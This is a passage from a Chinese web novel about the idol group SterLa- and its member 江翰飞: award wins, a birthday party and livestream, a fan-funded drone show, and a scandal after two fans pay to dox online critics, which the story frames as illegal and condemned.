但现在互联网发展后，他们这些跟不上时代的老歌手，往年有存款的，被大众记得的，混圈混出名头地位的还好。但像自己老友这样纯粹的音乐人，不太显露人前导致早被流量抛之脑后。发个新专新歌，不求卖多少销量，竟然连听歌的也少。这可真让人难受。 “行，我回头推给你。”袁杰应下，“他们经纪人也还算厚道，回头你们自己聊。” 说完两人也转回台上表演，不再聊天，尊重表演者。 SterLa-几人在葛文山缓过来后重新换上西装，擦汗，补妆，一系列做完又恢复成闪闪发光的明星，从另一条道重新回到艺人席。 自己表演完成，他们的心也跟着放下一半，整个人放松下来看表演，等待后续的颁奖。 正好，这个节目之后颁发的就是他们拿到提名的最佳MV奖。 不出意外，成功花落SterLa。 吴星雨带着几人上台，好歹确认今天不会空手而归，众人心情颇好，“这个奖是给我们的，也是给我们公司MV制作人们的，更是给我们所有粉丝的。谢谢工作人员们在我们反复NG的时候不厌其烦地陪我们一遍遍重拍，也感谢我们的粉丝们为我们投票。” “当然了，这个MV里也包含了成员们的创意，我们的阿飞同学。”吴星雨促狭地wink，“刚刚提名的剪辑片段就有部分创意来自我们的阿飞噢！” “哇！！！！”粉丝们惊喜，这还是第一次知道成员有参与制作MV。 现场反应让江翰飞有点不好意思，他没想到吴星雨会在说获奖感言的时候把这事儿也说出去。因为只是一个小创意，也没有把名字放到MV的制作人名单里，在此之前粉丝们也不知道这事儿。 “哇哦，看来SterLa-真的是非常用心地制作了专辑MV呢。”女主持人接过吴星雨的话头，“感谢SterLa-演绎得如此精彩的MV，也再次恭喜他们拿到最佳MV奖。” 几人下场，工作人员站在场边等着收话筒，吴星雨想也没想地递给江翰飞，让他递过去。 江翰飞接过话筒，自然地伸手递给工作人员，却忘了自己刚刚撞在墙上的伤。一时间右边肩胛骨传来拉扯到心脏的痛感，手一松，话筒直直地掉在地上。 正伸手接话筒的工作人员一愣，马上低头去捡地上的话筒。 江翰飞发现不对也赶紧蹲下去捡，一边道歉，“不好意思，刚刚一时没拿住。” 工作人员先捡起话筒站起身来，客气地笑，“没事没事。” 走在前面的几人还不知什么情况，站在通道口等他，江翰飞又连连道歉两次才赶紧追上自己队友，从通道绕过后台，重新回到台上。 这次颁奖典礼的结果跟唐君君预计的没差，两个奖项最佳MV奖和最佳男团舞蹈都成功收入囊中，最大的提名奖项最佳专辑奖被袁杰摘取。 SterLa-对最佳专辑奖的结果心服口服。袁杰老师的专辑质量高，成绩好，拿奖理所应当。江翰飞在颁奖典礼结束后还特意给袁杰发了恭喜的信息。 袁杰看着消息，想到老友的态度，嘿笑一声，回复道，“谢了，最近你们应该会收到好消息，好好努力，做好你的作品。” 江翰飞丈二和尚摸不着头脑。 果不其然，颁奖典礼结束第二天，唐君君就收到音乐圈内很低调的一位音乐制作人前辈发来的合作邀请。 她脑子一转，调出昨天颁奖典礼上的坐位图，结合江翰飞发来的消息，这还有什么不明白的。 一边暗叹自己和SterLa-真是好运，一边恭敬地回复制作人前辈的信息。 80-90 第81章 每年的颁奖季从11月中开启一直持续到元旦。 逮着空档欣怡带着SterLa-几人去医院做了体检。 当爱豆的几乎身上都有“工伤”。 吴星雨的腰和膝盖因为常年跳舞有伤；葛文山练习生时期节食减肥太过，导致身体吸收代谢紊乱，有胃病还容易低血糖；江翰飞身体底子不好又常常磕碰，前几天撞在过道上肩胛骨磕得又青又肿；反而看上去细细瘦瘦的禹安是最健康的一个。除了近期行程忙碌有些过劳没什么大问题。 收到检查单见没有大问题唐君君稍稍放心了些，转身跟公司申请给队内配置了营养师，好好养养这帮人的身体。 在这忙碌又热闹的年末，江翰飞的生日也悄然来临。 今年乐狮很做人。网友们如是评价。 因为从去年年末开始，乐狮给每位成员的生日都安排了小小的生日福利直播，大概一个小时。这是SterLa-粉丝们难得能看到自己爱豆直播，和爱豆实时交流的机会。 毕竟SterLa-真是出了名的除了发专、打歌和演唱会外，很难看到人影的爱豆。 综艺少得可怜就算了，连演唱会，品牌晚会都是从今年巡演之后才开始变多。 得亏他们的专辑质量和舞台水平过硬，能让粉丝在每天重金寻崽的日子里坚守住没爬墙。 但也因此SterLa-每一位的粉丝都超级期待自家爱豆的生日。 作为江翰飞具有代表性大粉的Fly站姐朱朱早已发过博文宣布今年江翰飞生日当天，会抽奖送300本包含这一年她已发布+未发布各一半的照片的写真集。抽取条件只有简单的评论祝福江翰飞生日快乐，以及超话等级和近半年内任一为江翰飞花钱的记录。 “Fly姐，你真的，我哭死。” “以后谁敢骂姐，我们骂死他！” “抽我抽我！” “按Fly姐的追的密集程度，姐姐肯定还有很多没有放出来的图。这次写真集里会有吗？” @Fly-Sterne回复：会的，这次的写真集里包含了这一年多以来阿飞的所有行程轨迹（PS：我去过的版本。）。也确实有很多从来没有放出来过的图，包括我的初心入坑图。 “卧槽，从来没听姐说过自己的初心入坑图。好奇会是什么样子。” “啊啊啊所有轨迹！姐你还PS什么啊？有哪一场你没在的啊T T” “这个我是真想要，如果抽不到姐姐可以上链接售卖吗？” @Fly-Sterne回复：不卖。如果这次抽不到，就争取下一次吧。另外，请不要售卖我的周边，也请所有小蝴蝶不要高价收我制作的所有周边。我不希望有人以此牟利，把纯粹的喜欢变得不纯粹。 十二月中旬，江翰飞生日的前一晚。 SterLa-几人今天刚刚结束一场颁奖典礼。 今年算得上是他们丰收的一年，每一个颁奖典礼都没有空手而归，今天更是在这个专攻音乐的颁奖典礼上拿到了潮流音乐奖。 这个奖颁的获奖者大多是偶像群体，算是主流音乐界接纳偶像音乐的一个锚点。主要参考因素就是音源数据以及粉丝投票。因此每年获得这个奖项的群体，大多是出道多年拥有众多粉丝的大热男团，既有一定的音源成绩，也有坚实的粉丝基础。 这还是第一次颁发给这么年轻的团体。 颁奖典礼结束后获奖的几人开心得在休息室里兴奋尖叫地转圈，奖杯传了好几轮都舍不得放下。 等收拾好东西回到公司，现在已经快十二点。 车开进公司的车库，一行人拿着东西从车库里回休息室。 江翰飞正抱着奖杯和袁杰发消息。袁杰也在这场颁奖典礼上，见是江翰飞的团队获奖，正在调侃他。 低头走进休息室，江翰飞忽然发现周围一阵安静。 奇怪地抬起头。 “啪！” “啪！” “啪！” 礼花筒一连响好几个。 纷纷扬扬的彩带从空中落下，江翰飞嘴唇微张，憨憨傻傻地抬着头，手里还抱着奖杯和手机，一副没反应过的呆样。 禹安眼疾手快掏出手机，迅速把江翰飞的傻样拍下来。于立果笑看着禹安和江翰飞玩闹，想到今天好歹是江翰飞生日，勉强制止，“今天他生日，给他点面子。” 禹安不甘示弱，“还没到零点呢！这不还有两分钟吗？” 吴星雨瞪大眼睛，“还没到零点？！那你跟我们说让我们可以放礼花了？” “礼花肯定要提前放啊？零点得唱生日祝福歌，吹蜡烛，切蛋糕啊！” 两人幼稚争执间，江翰飞回过神来，取下落在自己头上的礼花，是蓝色的，却反射出彩色的光。 葛文山不愧是稳重的大哥，从休息室内的隔间推出一个蛋糕，上面是江翰飞的立体糖塑，蛋糕表面蓝色打底，缀着蝴蝶的纹样，繁杂却不显堆砌。 于立果从生日蜡烛盒里取出一根蜡烛，插在糖塑小人儿前面，点燃后休息室里的灯被门口的唐君君几人关掉。 “祝你生日快乐~，祝你生日快乐~”于立果起个头，休息室内的人随即加入进来，一群人慢慢靠近，围在江翰飞和生日蛋糕周边，齐声唱着生日祝福歌。 江翰飞靠着蛋糕上那一根蜡烛的微弱光芒扫过正笑看着他的他们。 他的队友们，或者说是他的哥哥们。像是真的哥哥一样关心他，照顾他，给他建议。他们从确定组组合开始住在一起，现在已经相互陪伴了一年多。 旁边是君君姐和欣怡，君君姐难得在他们面前露出开心的笑容。她们管着队内大大小小的事儿，压力再大也从未在他们面前表露出来过，一直是让他们专心舞台，自己扛起压力。 靠近门边的是随行的妆造师们和其他工作人员，也是每一场活动，每一张专辑都能看到的身影。 现在大家正一起陪他过生日。 这个发现让江翰飞感觉自己被温水包裹，柔软又暖和。 生日快乐歌唱到尾声。 禹安大叫起来，“江翰飞，快吹蜡烛！” “吹什么蜡烛！阿飞先许愿！” “噢噢忘了还要许愿，你先许愿！” 江翰飞不可抑制地笑起来，眼睛弯在一起，唇边的梨涡若隐若现。在众人一声声快许愿的催促中闭上眼睛许愿。 “快吹蜡烛！” 于是江翰飞又轻轻吹熄蜡烛。 “啪啪！”又是两个礼花筒炸开。 “喔喔喔喔！” “零点了！江翰飞生日快乐！！”禹安举着放空的礼花筒叫到。 “生日快乐！！”周围的人齐齐祝福到。 休息室内灯开，吴星雨从旁边拿出准备好的刀叉，“来来来，快切蛋糕。我要吃第一块，饿死了！” 今晚他们晚上只吃了补充体力的巧克力和糖就上台演出，又唱又跳表演，还因为得奖兴奋了一晚上。现在回到公司休息室，几人早就饿得不行，闻着蛋糕散发出来的甜香直流口水。 江翰飞分切好蛋糕，每人拿着一小块吃着。于立果从旁边递过来一盘他刚刚分好的，“快吃吧，我自己来切。” “于哥，不行。”禹安从旁边探出头来，一脸严肃，“中间那个小江翰飞必须要江翰飞他自己吃掉！” “这话怎么听着”怪怪的 葛文山看着休息室内的几人，默默把后面的几个字吞回去。 禹安也发现自己说的话好像不对，“呃呃，就是这个小人儿还是留给江翰飞自己吃吧！” 江翰飞还没反应过来，但也让于立果自己先吃，又从蛋糕上切下一块自己拿着勺子小口挖着吃。 还在颁奖季呢，后面排了不少活动，谁也不敢多吃。 禹安过来小心翼翼把糖塑的江翰飞放到他碗上，“快吃快吃！” 江翰飞傻眼，“这个也能吃吗？” 他以为这个是捏的造型。 “当然可以啦！这是糖做的，很甜的！” 他半信半疑地咬掉小人儿的脑袋，“咔嚓”一声脆响，碗里的精致小人只剩下半个身子，场面颇有些血腥。 但是嘴里的糖很甜，真的很甜。 这段时间行程忙碌，明天江翰飞还有自己的直播行程，大家走之前又纷纷送上祝福，没一会儿办公室收拾干净，人也走得七七八八，只剩下SterLa-几人和唐君君欣怡几人在收尾。 “早点休息吧，明天晚上七点来公司的十七楼调试设备，七点半正式直播。”唐君君回到公事公办的状态。 第二天SterLa-的主要行程是练习室练习。 他们后面还排有最后一个大型的跨年颁奖典礼舞台以及年后他们即将发行三专，这两项加起来足够他们在没有行程的日子里两点一线。 但晚上托江翰飞生日的福，江翰飞去做生日直播，其余几人则得到快乐假期，可以休息几个小时。 还没到江翰飞直播的点儿，网上的话题#江翰飞生日快乐已经挂上了热搜，虽然没人买数据，一直只挂在文娱热搜榜单里，但也从昨晚开始挂到了现在，惊人的续航能力引来大批吃瓜网友的围观。 这江翰飞绝对是公司给买了包年热搜吧？ 热搜词条里，热门第一条就是朱朱的转发评论抽奖。现在转发已经两万，评论已经三万多，导致后面的评论都在哀嚎，三万评论抽300，这个中奖概率，大概自己也是当分母的命了。 但是哀嚎归哀嚎，评论数量的增长速度一点不慢，万一就抽到自己了呢？ 热门第二条来自江翰飞官方大吧发出的清单博文，一份是全国各地给江翰飞举办生咖的坐标清单，一份是所有小蝴蝶们集资给江翰飞买的礼物清单以及个人散粉需要大吧一起帮忙邮寄的生日礼物。 这些礼物是早早买好包装好的，按照时间算，现在江翰飞的公司应该在两天前就收到礼物。 热门第三条来自另外一位姐。这位姐平日里也经常追线下，不怎么产出图片，但是每次集资应援总少不了她，和别的粉丝打架的时候，这位姐也是勇往直前的第一人。 她的博文里没有别的内容，只一句简单的文案：生日快乐，岁岁快乐。 然后带了两张图，一张是在当天晚上八点半最繁华的都市中心区准备的一场无人机表演秀预约函，一张是以江翰飞命名的小行星购买证书。 “我的姐啊！一场无人机表演六位数起步啊！” “我的同担竟然都这么有实力吗！！” “啊啊啊啊富婆姐姐贴贴，买小行星也太浪漫了吧！” “阿飞就是我们的小星星，他会一直高高挂着，散发自己的光芒。” 第82章 词条下热热闹闹，来凑热闹的别家粉丝也被热门里的生日筹备闪花眼睛。 词条里还没逛过瘾，就收到江翰飞的开播通知，这大波人跟着又涌进江翰飞的直播间。 “阿飞，宝宝，我来啦！” “听说江翰飞在直播。” “宝宝哪儿呢？让妈妈看看你” “飞崽你人呢？” “啪！” 刚进去不到两秒，正在热情刷屏的粉丝们看着黑屏里映出的自己一脸懵逼。 黑屏了？啥情况？ 崩线路了？ 江翰飞举着正要打招呼的手，在直播间现场也同款懵逼脸。 唐君君语气不好地问技术人员，“怎么回事？” 技术人员弱弱说道，“不是技术问题，是一下子进来的人太多，把线路卡崩了” 之前一条线路准够的啊？这次怎么人这么多？ 唐君君： “现在能弄好吗？” “可以是可以，需要点时间。”技术人员在唐君君的瞪视下满头大汗地加快处理。 三分钟后，线路恢复。技术人员为了防止再出现这种线路崩溃的情况，又额外加了两条线路分流，这才让直播恢复正常。 “大家好。”江翰飞跟手机那端的粉丝挥手打招呼。 还是第一次一个人做直播，心跳有些快。但好歹当爱豆一年多，开口说完第一句之后心跳就慢慢平复下来。 只他一说话，弹幕又开始刷屏。 【宝宝多吃点，你太瘦了。】 【活的崽崽好！】 【阿飞生日快乐！】 【江翰飞生日快乐！！】 【宝宝多吃点，你太瘦了。】 “好，我会多吃的。”江翰飞看着刷得飞快的弹幕，从粉丝们的标点符号里都感受到他们的激动，微笑着回应粉丝们的关心，“我其实吃的挺多的，就是最近长肌肉，所以不怎么显胖。” 【宝宝不要撸铁，球球了】 【适当锻炼挺好的】 【阿飞生日有什么愿望吗？】 【好好好，就是要多吃多长肉！】 江翰飞也不明白为什么不让他撸铁，但是还是很老实的回答，“暂时没有举铁的计划，教练说现在先不急。” “生日愿望的话昨天晚上大家给我过生日，已经许过了。” 【乖宝宝生日愿望许的什么呀？】 【阿飞生日有什么特别想要的吗？】 【飞飞你的舞台太好看了，完全入坑！】 【崽啊，你以后得舞台能不能不要going妈妈啊？】 “going？”江翰飞看到一条弹幕疑惑。这是打错了吗？ 【going就是勾引啦！】 【哈哈哈哈哈孩子从小就傻，大家不要介意啊】 【江翰飞，你懵逼的样子怎么也这么可爱！】 【梦回江翰飞刚出道时候的可爱懵逼小表情了】 【好做作。】 江翰飞见到有粉丝解释的勾引明白了。平时他也刷自己超话，对这个词还是很熟悉的，going见得少，这次记住了。 他暗自点头，又学到一个新的粉丝词汇。 两边正聊着，突然弹幕里就来一些莫名其妙的恶评，点进他们的资料卡查看，都是一串数字的小号。 唐君君打着手势，场控下场手速敏捷地封号。 【这是谁？长得这么帅？】 【阿飞别看，有神经病】 【崽看我看我，想问问你当初为什么要做偶像啊？】 【阿飞，快跟我们分享一下你的美白秘籍，怎么能变这么白的？】 江翰飞没在意那些不好的评论，平时网上见得多现在这些真没什么所谓，只捡着能回复的回答，“我没有什么美白秘籍。” 他略有些心虚地跳过问他为什么当偶像的问题。 当初要不是被系统提溜过来，真的不会当偶像。 话说好像已经好久没有见到系统了。这个念头在脑海里闪过，又迅速隐去。 “我好像本来就还比较偏白，之前只是因为工作需要一直在阳光下跑，所以晒黑了。”江翰飞一边说着，一边下意识拉开自己领口看看肚子。 虽然正值寒冬腊月，不过这儿早开始供暖，房间里暖和得跟夏天一样，他穿的也是夏天的T恤，领口宽松，稍微拉开点就能看到。 “后来在公司当练习生后，可能因为在练习室练习时间比较多，晒太阳晒得少，嗯，就慢慢的白回来了。” 【心碎了，所以真的是天赋底子就好啊！】 【肯定啊，你看他那五官也不是整容能整出来的吧。】 【江翰飞，什么好东西只给自己一个人看，让妈妈也看看！】 话题聊到这儿，场控举起一个牌子，“澄清整容”。 江翰飞瞥见牌子一顿，一时也不知道该怎么说去澄清，干脆对着弹幕道，“我真的没整容，你们看。” 说着，他脸全部皱起，长大嘴巴，努动鼻子嘟嘴，捏捏下巴，反复作弄着各种表情。 “看，真的没有整容过。” 【江翰飞！你的脸是让你这么用的吗？】 【哈哈哈哈哈！阿飞你真的没有偶像包袱的吗！】 【宝宝你真的太萌了，嘟嘴是想亲亲妈妈嘛？来啾啾啾啾亲死你。】 【不好意思，我家傻儿子给大家献傻了】 唐君君坐在摄像屏幕后，有些无奈。 让你澄清，居然这样澄清，她都已经能想到今天晚上之后江翰飞的颜艺表情包乱飞的场景了。 虽然底子好，也不丑，但是用多这种颜艺的表情包容易给路人定型印象，不利于以后吸粉。 不过粉丝们很开心。 之前SterLa-在二专结束时出过一个特别应援急救医疗包，里面的江翰飞贴纸也有一个像这样嘟嘴的动作。 当时他们还说这辈子都看不见江翰飞做这个动作呢，没想到没过几个月就在江翰飞的生日直播上见着了。 一阵嬉笑之后，江翰飞总算从粉丝们的弹幕中发现自己刚刚好像有点蠢。 他赶紧收敛表情，恢复成平日里的不苟言笑，在刷得飞快的弹幕中努力寻找自己可以回复的弹幕。 【飞飞崽，你在做练习生的时候真的有打工吗？】 【阿飞最喜欢吃什么？】 【你那儿天气还好吗？】 弹幕里的粉丝们发现有人刻意在问不好回答的问题，还特别喜欢用他们对江翰飞的昵称提问，装成粉丝。 今天自家崽子过生日，不想在他的直播间骂人。他们只能齐刷刷地把这些问题刷上去，不让江翰飞看见。 江翰飞看到后觉得这个没觉得有什么，老实地一一回复，“我最喜欢吃的？我没有特别喜欢的，一定要说的话比较喜欢吃虾，之前吃到很好吃的炸虾，一次吃了一小桶，把于哥他们都吓着了。” “今天天气挺好的，下午我们在练习室练习，有阳光照进来，很舒服。冬天大家也可以多晒晒太阳。” “打工有过的。”江翰飞一回答这个问题，弹幕就开始刷屏，让他不用回答，不要说。 见弹幕很紧张的样子，江翰飞凑近直播的手机屏，“你们是说不要回答打工的事儿吗？” 弹幕见他凑近，又是一阵尖叫。 【啊啊啊啊妈妈！我见到天使了】 【woc阿飞你用的什么护肤产品能不能给妈妈发一下链接。】 【这皮肤好好，我嫉妒了。】 【别那么近别那么近啊啊啊啊】 江翰飞被弹幕的可爱逗笑了，嘴角两个梨涡浅浅地点缀在一边，本来俊朗的冷脸线条变得圆润柔和。 “打工没什么不能说的。” 他从没有避讳过自己打工的事情，堂堂正正打工挣钱有什么不能说？ “来当练习生之前打工比较多，也学到很多。” “当练习生之后虽然有补贴，但是稍微有点不够，所以也短暂的打工过一段时间。”想到当初吴星雨在健身房跟他说的话，他没说自己是被举报后被迫中止，反而说，“后面因为知道在公司努力练习升级比打工更划算，所以就没再打工。” 【所以你当偶像就是为了赚钱？真功利啊】 【呃？这不如不解释吧？】 【阿飞自己打工养活自己棒棒哒！】 【有病啊？这就叫功利？】 江翰飞没有回说他功利的话，只觉得自己当初踏上这条路的目的的确不纯。 场控见播间内氛围不太好，赶紧举牌，让江翰飞进入下一个话题。 江翰飞抬头看一眼，笑着问，“大家还有没有其他想要了解的？” 【宝宝，你们是不是要发新专辑了？】 【崽，怎么今天生日还在练习呀？有吃蛋糕吗？】 【给我们透露一点新专辑吧！】 “新专辑呀？”江翰飞拖长调子，眼神去瞟坐在屏幕后面的唐君君。唐君君接收到他的视线，回他一个挑眉。 江翰飞老实地说，“这个不能说，经纪人不准。” 弹幕里又笑他刚刚是不是在看谁的眼色。 这个话题江翰飞直接跳过，可不敢开君君姐的玩笑。 粉丝们见调笑他不成，又齐刷刷的撒娇让他透露一丢丢，一小点。 江翰飞受不住，想想正在制作的三专，“好吧，是要出三专，在明年。” “主题风格和我们前两张专辑差不多。” “嗯，还有我们年末的舞台里有透露三专主题。” 粉丝们本来期待听见一些主打曲的风格类型，或者是专辑的具体进度。 结果好家伙，江翰飞的嘴跟焊过的似的，口风紧得不行。 瞅瞅他回复的那些话。 三专在明年，当然在明年了！现在里跨年就只有十几天了好吧？？ 主题风格和年末舞台里包含三专主题这些早在他们颁奖典礼开始接受红毯采访的时候就知道了呀！ 【阿飞你耍赖】 【这个小哥哥好帅，有什么才艺吗】 【崽，你变了，跟小蝴蝶们也有心眼了！】 【那我们换一个问题，到你现在为止的偶像生涯里，你觉得最傻的一件事是什么？】 江翰飞看见说他耍赖的弹幕眼里透出笑意。 三专是真的不能说。 刚刚看见闪过去一个合适的话题，一瞬间又被刷没影儿了。 他不得不伸手去滑手机屏，往上翻消息记录。 没想到这个第一次自己直播的鬼才，不小心碰触到了旁边的按钮，触发系统默认美颜特效，一张俊脸瞬间变成可爱的幼态脸。 嘟唇圆眼，脸圆头圆，婴儿肥也挂在两颊，还有两个小揪揪，显得分外可爱。 【哈哈哈哈哈阿飞宝宝】 【这下真成宝宝了！】 【崽，妈妈的崽又回来了。】 【该说不说，崽你这样真的很像自己的Q版人设啊！】 【妈！粉！天！堂！】 “呃？”江翰飞好不容易找到那条问他最傻的一件事弹幕，坐再坐直身体时，发现弹幕里的自己变得圆头圆脑，头上还顶着两根小揪揪。 他看着那两根小揪揪，不自觉地左右晃晃自己脑袋。 【啊啊啊我圆满了！】 【我宣布，最萌的崽：江翰飞！！】 江翰飞回过神，求助地看向前面的场控，场控走过来蹲在一边，告诉他在哪儿关特效。 手忙脚乱地关掉特效，江翰飞清清嗓子，试图再把直播带回自己刚刚找到的问题，“我刚刚看到有粉丝在问我出道之后做得最傻的一件事。” “这个真有。” 本来还在哈哈哈哈刷屏嘲笑江翰飞的粉丝们放慢自己刷屏的速度。 “我们一专不是有签售会吗？有粉丝在签售会上送我很多礼物。”江翰飞想到公司那间专门存放礼物的房间，现在已经堆不下了，“后来我们几个一起拆大家的礼物和信。” “每一封信都看了。” “然后我们很感动就想给大家写回信。” 江翰飞的眼神中带着点怀念，“我们几个就傻乎乎的抱着装满信的盒子回宿舍，然后一起趴在宿舍的茶几上给大家写回信。” 【啊啊啊哦莫，居然还写过回信！是谁那么幸运地收到了你们的回信！！】 【我的天，亲笔信啊！这是什么含金量！】 【谁收到过啊？这种好事居然藏着掖着不跟姐妹们分享？！】 “没人收到。”江翰飞看着弹幕眉眼弯弯，清冷的嗓音也变得温柔，“不是说犯傻吗？我们几个都犯傻了。” “光惦记着回信，结果忘了寄信要地址。大家给我们的信封装着信，但信封上根本就没有地址。” “所以我们每人都写了十几封回信之后，才发现都白写了，根本不能回寄。” 【哈哈哈哈哈哈！】 【阿飞，让你说自己犯蠢，这下好了，大家都知道你们队里都犯蠢了。】 【虽然没有寄回，但是能写回信还是感受到了你们的心意。】 【天呐，我一专签售给你们递过，啊啊啊居然差点会给我回信吗？！！！我为什么没写自己的地址啊！？】 瞧着粉丝们的哀嚎，江翰飞觉得自己犯蠢好像也不是那么蠢了。 聊了好一会儿，场控举起牌牌示意准备结束。 “好拉，差不多到时间啦。”江翰飞跟还在刷屏的粉丝们道别，“谢谢你们愿意来陪我一起过生日，很开心。” 粉丝们依依惜别，这一小时怎么过得这么快！ 在他快要关闭直播前几秒，弹幕齐齐刷着：江翰飞，看窗外！ 但已经按了下播键，他还来不及问窗外有什么，直播就已经关闭黑屏。 起身去开窗。他直播的地方是公司大楼，在十七楼。 江翰飞推开窗户，冷冽的夜风灌入室内，外面月亮正圆，高高挂在夜幕中，周围拱卫着几颗亮晶晶的星星，夜色确实很美。 不过粉丝们想让他看什么？夜色吗？ 工作人员们已经在收拾东西出去，不过几分钟，直播房间内只剩下江翰飞一人。 唐君君让他先回去，他拒绝了。 他想再看看，想知道粉丝们让他看的窗外是看什么。 原本温暖的室内因为开窗温度慢慢降下来，他正琢磨着要不要去隔壁练习室拿件衣服，就见夜空里忽地升起星星点点。 是开着灯光的无人机。 它们密密麻麻地从地上升起，像是童话环境中的小精灵，一个个从花朵中钻出，奔赴森林盛会，夜晚也因他们变得梦幻。 升高到一定高度，他们的灯光忽地一关，所有无人机消失隐匿在夜空中。 下一秒，空中出现几个大字：江翰飞生日快乐！ 字样旁边还有小朵小朵礼花一样的光效。 江翰飞愣神地看着夜空里突然挂起的名字。 不等他反应，空中的无人机又散成光点，再聚拢成一条蜿蜒银河，仿佛谁在以它为墨，以苍穹为纸，笔走龙蛇，留下祝福的痕迹：年年快乐，岁岁平安。 江翰飞静静伫立在窗边，双手抓紧栏杆，微微仰着头，眼里只剩下出空中不断变换着文字和效果的倒影。 直到无人机队伍表演完，夜幕内显示出END的字样，他才喃喃对着已经重新回归平静的夜幕道，谢谢。 网上看到这场表演的人也在议论纷纷。 “今天是谁在告白吗？搞了快两百架无人机祝福生日快乐，真是大手笔啊！” “我也看到了！还在闹市区的空域，这个表演每个50w拿不下来。” “世上有钱人这么多吗？50w就为了这么几分钟？” “是这个明星吧，我在热搜上看到了。” “卧槽！” “君君姐！出事儿了！” 第83章 唐君君正开车回家，刚接通欣怡的电话，对面传来焦急的声音。 她越听眼神越冷，立马找最近的路调头，转向回公司。 “什么情况？” 唐君君带着欣怡大踏步走进会议室，里面已经坐着公关部的相关人员，负责人面色难看。 唐君君心里打个突，预感这事儿情况糟糕。 她和公关部负责人认识多年，有些交情，也深知对方性格。如果不是让她也感觉很棘手很难处理的事儿，她不可能露出这种表情。 可上次即使先前牵扯到公司内部霸凌，公司高管以权谋私的负面热搜，她也是一幅调侃表情，顶多在上层面前装一装棘手样子。 但现在？ “你自己看吧。”对方垂眸推过来两份文件。 唐君君接过的时候指尖还能隐约感受到纸张上残留着从打印机里拿出来的温度，当她看完这份文件却感到心里发凉。 见唐君君双唇紧抿，显然是知道这次事件的难处。 “这次不是我们的事儿，但也必须是我们的事儿。”她眉宇间露出烦躁，“解铃还须系铃人，这件事他必须出面，你问问当事人的意见吧。” 唐君君闻言望向对方，确定她脸上神情没有半分调笑。两人眼神相对，会议室里两人分别带着的几位下属噤若寒蝉，只当自己是空气，不敢在这紧绷的氛围里发出半点声响。 唐君君捏捏紧皱的眉心，率先移开眼。 当事人今天刚直播跟粉丝们聊完天，现在正和队友们一起吃饭庆祝。 这可真是。 但事情严重，思量再三，唐君君还是打电话让江翰飞立即回来一趟公司。 “开盒？”浑身还带着冷气的江翰飞被陌生的词汇懵一脸。 他刚刚正和队友们一起在葛妈妈家吃饭来着，半途接到君君姐电话，让他来一趟公司。 刚到会议室，就被公关部负责人说的话弄得满头雾水。 “就是人肉的意思。”唐君君解释道，“知道人肉是什么意思吧？” 江翰飞咋一听见‘人肉’这词，脑子里突然想起以前看到过的一件新闻。 当初他抗拒偶像这个职业也是因为每次在网上看到的都是这个行业的负面新闻。没记错的话记忆里好像也有这么一件事上过热搜，疯狂的粉丝因为有路人说他们偶像的坏话，粉丝气不过，就发动其他粉丝群体通过对方在网上的零碎信息检索到了现实中的本人，还在现实里的地址寄去恐吓快递。 这件事的结局是什么来着？ 他有些记不清了。 江翰飞眼神放空地点点头。 所以这次是他的粉丝人肉别人吗？ “这两个粉丝年纪都不大，刚上大学。” 公关部负责人看江翰飞出神的状态皱着眉，望向旁边的唐君君，见对方点头她才继续跟江翰飞说明情况，“我们现在已经跟她们取得联系。她们说当时是因为那几个营销号和明显是私生的人一直发你的黑料、嘲讽你，她们实在气不过这么欺负你，所以才花钱找外面的人开盒他们。” “也就是直接通过他们的上网痕迹挖出了他们本人的现实信息。” “包括具体IP地址。” “这已经是违法行为。”唐君君双手交叉抱胸，嘴角下拉，眼角流露出几分烦躁，“更何况她们还把查到的信息直接公布到网上。” “两个私生本来脑子就不正常，发现自己被开盒很多人过来看之后倒没什么反应，以你们的女朋友身份自居，分享起自己的追行程经验。目前看也没有要追究责任的迹象。” “麻烦的是那两个营销号的皮下。”公关部负责人想想都头疼，“他们不是拿了别家公司的职黑，就是你的个人黑粉。” “这种很麻烦，如果他们和其他公司有金钱交易，我们可以从这个点切入。” “但现在这两个被爆的营销号都是个人运营，当初黑你只是为了蹭流量没有和任何公司有金钱往来，至少我们没有查到。” “他们现在准备起诉，说那两个粉丝开盒侵犯了他们的个人隐私，要求他们赔偿那个号的财产损失费和他们的精神损失费，共计150w。” 江翰飞垂着头默默听着，温暖的室内空气让他脑子似乎在蒸笼里，朦朦胧胧，混乱无章。耳朵听到的消息却又像湖面冰层下的水灌进脖颈，冻得他浑身僵硬身体发麻，做不了任何反应。 “这两个女孩儿都是大学生，当初开盒别人都是一起凑的钱，是肯定赔不出来的。”公关部负责人面上的无语和不耐清晰可见。 这都什么年代了？但凡上网的怎么会不知道这种行为是违法的？怎么想的会去干这种事儿？还能蠢到自己在网上爆出来。 “并且现在应该有公司正在跟这两个营销号接触，让他们给粉丝施压闹大。”努力压下心里郁气，缓缓吐出一口气，用最平静的语调陈述，“所以你又挂上热搜了。” #江翰飞生日快乐 #江翰飞违法 两个热搜词条在热搜榜单上一上一下，彼此相邻。刷到的人无不露出几分怪异神色。 这是什么情况？ 传说中的黑红？ 第二个热搜词条明显被人买过流量，热度上升的趋势极度不正常。 但吃瓜的网友谁会在乎这些人，他们挤挤挨挨地点进第二个违法词条，心想，我倒要看看这人是谁，怎么一边过生日一边违法的？ 点进去之前，他们还猜测着，是不是这个人在过生日的时候有什么违法违规操作，然后被倒霉的逮住，导致生日热搜和违法热搜一起上。 点进去之后发现，原来是这个人的粉丝去买别人的现实个人信息还发到网上，现在被人起诉，不仅可能要进去，还面临着高达150w的赔偿款。 “果然符合我对明星脑残粉的刻板印象，hhhh真的好疯狂啊。” “这人真的买包年热搜了吧？怎么天天都看见他，之前还看说他是关系户，这下又是粉丝违法，能不能少发这些人，多关注一些真正的民生啊？？” “做作偶像和他的法盲粉丝们，锁死。” “之前我就觉得他的粉丝太疯狂了，现在看果然是疯狗流。” “确实违法了。不明白这是为什么呢？为一个你可能都没见过，也不记得你的陌生人，给自己后半辈子留下案底，值吗？” “父母好不容易供养你们上大学，多考虑下父母吧？” 评论区里几乎一面倒的谴责，其中有人的话说得过分，却没有一个人去回怼。 江翰飞的超话现在已经刷屏了：行为理智，禁止对线，谁故意对线挑事视为黑粉！！！！！ 硕大的感叹号，置顶的帖子，大吧的置顶博文，大粉们的仅粉丝可见，理智粉们的声嘶力竭。 每一个清醒的粉丝都在互相提醒，互相警示，不要回复，不要闹大，不要再在伤口上捅一刀。 屏幕后的朱朱和柯苗刚刚通完电话，两个人在电话里一边流着泪说话一边在超话里跟着刷屏，警告一些还没有成熟判断力的粉丝们。 